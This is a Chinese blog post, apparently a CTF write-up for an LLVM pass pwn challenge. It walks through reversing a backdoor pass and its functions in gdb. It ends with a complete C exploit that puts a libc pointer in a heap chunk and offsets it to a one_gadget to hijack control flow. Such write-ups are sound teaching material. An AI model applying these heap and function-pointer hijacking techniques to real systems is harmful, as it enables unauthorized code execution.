llvm pwn入门--第二篇

文章详细介绍了如何在LLVMpwn题目中找到关键的runOnFunction函数,通过动态调试追踪函数流程,分析save、stealkey、fakekey等函数的行为,最终利用内存分配和libc地址来实现漏洞利用。通过创建堆块,修改内存指针,将特定地址设置为gadget,从而控制程序执行流。
摘要由CSDN通过智能技术生成

satool2021

程序分析

找到runOnFunction

做这类llvm pwn题目一般我们需要先找到程序的runOnFunction函数,而runOnFunction函数一般在vtable的最后一个。

首先我们进入start函数,

找到这里的sub_1930,跟进一下

 这个函数应该就是创建对象了,跟进off_203D30

 找到了vtable,而sub_19D0应该就是对应的function函数了。

这里介绍找runOnFunction的一种方法,其实我们也可以把那几个函数每个都看一下,发现只有后两个代码巨多,大概就能锁定了。

程序流程分析

 程序首先调用getName函数,然后if判断函数名是否为B4ckDo0r以及v3==8,这里v3并没有事先赋值,所以看一下汇编代码这个v3是哪个寄存器。

 可以看到这里比较rdx是否为8,因此这里的v3应该是rdx寄存器的值,那么rdx到底存了什么呢?我们动态调试看一下,这里顺便说一下动态调试的步骤。

我们先写一个test.c

#include <stdio.h>
void save(){
}
int B4ckDo0r(){
        save();
        return 0;
}

gdb opt
set args -load ./SAPass.so -SAPass ./test.ll
b main
r

运行起来之后,需要一路ni步过跑掉刚开始的一大堆函数

 跑完之后vmmap

 发现.so文件加载了。此时用第一个.so的基地址加上偏移即可下断点。

 成功进入function函数。

然后我们进入getName函数中看看。

发现在函数末尾给rdx赋值,这里由于首先识别的函数是save函数,所以rdx为4,因此可以知道rdx存的是函数名的长度。接着执行

 rax存储函数名,这么一来if里的两个比较就容易理解了。接着执行

 发现由于rdx==4,所以直接跳到了结束,因此我们也可以得出以B4ckDo0r命名的函数才是主函数。接着执行,然后就会识别下一个函数,也就是B4ckDo0r。那么if就会成立。

在走到0x1a9e这里,又会调用getName函数,发现这里载入的函数名是save,也就是我们在B4ckDo0r里调用的函数。

 然后进入0x1b48比较函数

 相同则进入对应操作。ok,接着分析程序。

save函数

 这里直接看save函数最后的关键代码。在234行判断save传入参数是否为2,由此我们推断save的参数是两个。在272,273行分别将v25,v30(一参,二参)放入,然后创建0x20大小的堆块,通过memcpy将参数放入堆块,heap_ptr指向创建的堆块。

调试一下

#include <stdio.h>
void save(char *a, char *b){
}

int B4ckDo0r(){
        save("a", "b");
        return 0;
}

走到这里创建一个堆块。

这里将heap_ptr指向堆块 

 

 确实写入了参数。

takeaway函数

  

takeaway传入参数个数为1,在最后heap_ptr = heap_ptr[2],将heap_ptr[2]给free掉。

 stealkey函数

  将*heap_ptr(也就是save函数传入的一参)赋值给byte_204100。

调试一下

#include <stdio.h>

void save(char *a, char *b){
}
void stealkey(){
    printf("abcdef");
}
int B4ckDo0r(){
        save("a", "b");
	    stealkey();
        return 0;
}

成功写入。

fakekey函数

 getSExtValue函数是将参数转换为一个带符号整数,这里我们推断需要传入一个数。

调试验证一下

#include <stdio.h>

void save(char *a, char *b){
}
void stealkey(){
	printf("abcdef");
}
void fakekey(int d){
	printf("asasas");
}
int B4ckDo0r(){
        save("a", "b");
	stealkey();
	fakekey(-0x100000);
        return 0;
}

 修改前

 修改后

看到确实-0x100000。

run函数

 就是直接调用*heap_ptr(save的一参)。

 漏洞利用

save函数传入两个参数,heap_ptr指向创建的堆块

stealkey函数将save的第一个参数(*heap_ptr)传给byte_204100

fakekey函数将byte_204100和*heap_ptr加上fakekey的参数

run函数执行*heap_ptr

因此我们可以通过fakekey修改*heap_ptr为gadget,然后run函数执行。不过我们需要先将save的一参,即*heap_ptr放一个libc的地址

查看bin后发现unsortedbin中有chunk,那么我们可以先将tcachbin里的0x20的chunk申请出来,然后再申请就能放入libc的地址了。 我这里用的libc-2.27。

 

 0x7ffff3622cb0-0x7ffff3237000=0x3ebcb0

0x3ebcb0-4f302=0x39c9ae

exp:

#include <stdio.h>

void save(char* a, char* b){printf("1");}
void takeaway(char* a){printf("2");}
void stealkey(){printf("3");}
void fakekey(int d){printf("4");}
void run(){printf("5");}

int B4ckDo0r(){
	save("KingKi1L3r","KingKi1L3r");
	save("KingKi1L3r","KingKi1L3r");
	save("KingKi1L3r","KingKi1L3r");
	save("KingKi1L3r","KingKi1L3r");
	save("KingKi1L3r","KingKi1L3r");
	save("KingKi1L3r","KingKi1L3r");
	save("KingKi1L3r","KingKi1L3r");
	save("\x00","KingKi1L3r");
	stealkey();
	fakekey(-0x39c9ae);
	run();
	return 0;
}

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值